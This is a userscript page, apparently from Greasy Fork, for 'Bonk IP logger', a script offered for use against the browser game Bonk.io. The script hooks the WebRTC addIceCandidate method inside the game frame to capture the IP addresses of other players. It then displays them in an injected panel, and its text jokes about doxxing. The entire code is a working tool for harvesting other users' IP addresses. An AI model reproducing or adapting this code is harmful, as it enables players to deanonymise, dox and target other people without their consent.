Bonk IP logger

Steals IP addresses on Bonk.io with a fancy UI

  1. // ==UserScript==
  2. // @name Bonk IP logger
  3. // @namespace https://greasyfork.org/
  4. // @version 1.0
  5. // @description Steals IP addresses on Bonk.io with a fancy UI
  6. // @author Pugsby, with some help from Aspect#8445
  7. // @match *://bonk.io/
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=bonk.io
  9. // @grant none
  10. // @license MIT
  11. // ==/UserScript==
  12.  
  13. /* jshint esversion: 6 */
  14. (() => {
  15. console.log('████████████████████████████▀█████▀█████████████\n█▄─▄█▄─▄▄─███▄─▄███─▄▄─█─▄▄▄▄█─▄▄▄▄█▄─▄▄─█▄─▄▄▀█\n██─███─▄▄▄████─██▀█─██─█─██▄─█─██▄─██─▄█▀██─▄─▄█\n▀▄▄▄▀▄▄▄▀▀▀▀▀▄▄▄▄▄▀▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀\nIP Logger made by Pugsby on greasyfork.')
  16.  
  17. const loggedIPs = [];
  18.  
  19. // Replace contents of div with id "descriptioninner"
  20. const descriptionDiv = document.getElementById("descriptioninner");
  21. if (descriptionDiv) {
  22. descriptionDiv.innerHTML = `
  23. <h1>Bonk.io - IP logger</h1>
  24. <p>
  25. <small>Made by <a href="https://greasyfork.org/en/users/1422616-pugsby" style="color:black">Pugsby</a></small><br>
  26. I don't know what to put here lol.<br>
  27. If you have any suggestions for the IP logger, DM me on discord. <b>@Pugsbyy</b><br>
  28. Please don't blame me if you go to prison for doxxing people.
  29. </p>
  30. <div id="ipBox" style="margin-top: 15px; max-height: 200px; overflow-y: auto; border-top: 1px solid #ccc; padding-top: 10px;">
  31. <strong>Logged IPs:</strong><br>No IPs logged yet.
  32. </div>
  33. `;
  34. }
  35.  
  36. // Create UI elements
  37. const button = document.createElement('button');
  38. button.textContent = 'Show IPs';
  39. button.style.position = 'absolute';
  40. button.style.top = '10px';
  41. button.style.left = '10px';
  42. button.style.zIndex = '9999';
  43. button.style.padding = '10px 15px';
  44. button.style.border = 'none';
  45. button.style.backgroundColor = '#050510';
  46. button.style.color = 'white';
  47. button.style.fontSize = '16px';
  48. button.style.cursor = 'pointer';
  49. button.style.borderRadius = '5px';
  50. document.body.appendChild(button);
  51.  
  52. const menu = document.createElement('div');
  53. menu.style.position = 'fixed';
  54. menu.style.top = '50%';
  55. menu.style.left = '20px'; // Position the menu on the left
  56. menu.style.transform = 'translateY(-50%)'; // Center vertically
  57. menu.style.backgroundColor = '#fff';
  58. menu.style.border = '2px solid #4CAF50';
  59. menu.style.borderRadius = '10px';
  60. menu.style.padding = '20px';
  61. menu.style.boxShadow = '0 4px 20px rgba(0, 0, 0, 0.2)';
  62. menu.style.display = 'none';
  63. menu.style.zIndex = '10000';
  64. document.body.appendChild(menu);
  65.  
  66. const closeButton = document.createElement('button');
  67. closeButton.textContent = 'X'; // Change text to "X"
  68. closeButton.style.padding = '5px 10px';
  69. closeButton.style.border = 'none';
  70. closeButton.style.backgroundColor = 'transparent';
  71. closeButton.style.color = '#f44336';
  72. closeButton.style.fontSize = '16px';
  73. closeButton.style.cursor = 'pointer';
  74. closeButton.style.position = 'absolute';
  75. closeButton.style.top = '10px';
  76. closeButton.style.right = '10px'; // Move to the right side of the menu
  77. closeButton.onclick = () => {
  78. menu.style.display = 'none';
  79. };
  80. menu.appendChild(closeButton);
  81.  
  82. // Override addIceCandidate method
  83. window.onload = () => {
  84. let iframe = document.getElementById("maingameframe");
  85. let w = iframe.contentWindow;
  86.  
  87. w.RTCPeerConnection.prototype.addIceCandidate2 = w.RTCPeerConnection.prototype.addIceCandidate;
  88. w.RTCPeerConnection.prototype.addIceCandidate = function(...args) {
  89. if (!args[0].address.includes(".local")) {
  90. loggedIPs.push(args[0].address);
  91. console.log(args[0].address)
  92. updateIPList();
  93. }
  94. this.addIceCandidate2(...args);
  95. }
  96. };
  97.  
  98. // Update the IP list display
  99. function updateIPList() {
  100. const ipBox = document.getElementById("ipBox");
  101. if (ipBox) {
  102. ipBox.innerHTML = '<strong><h2>Logged IPs</h2></strong><br>' + (loggedIPs.length > 0 ? loggedIPs.join('<br>') : 'No IPs logged yet.');
  103. }
  104. }
  105.  
  106. // Scroll to the IP box on button click
  107. button.onclick = () => {
  108. const ipBox = document.getElementById("ipBox");
  109. if (ipBox) {
  110. ipBox.scrollIntoView({ behavior: 'smooth' });
  111. }
  112. };
  113. })();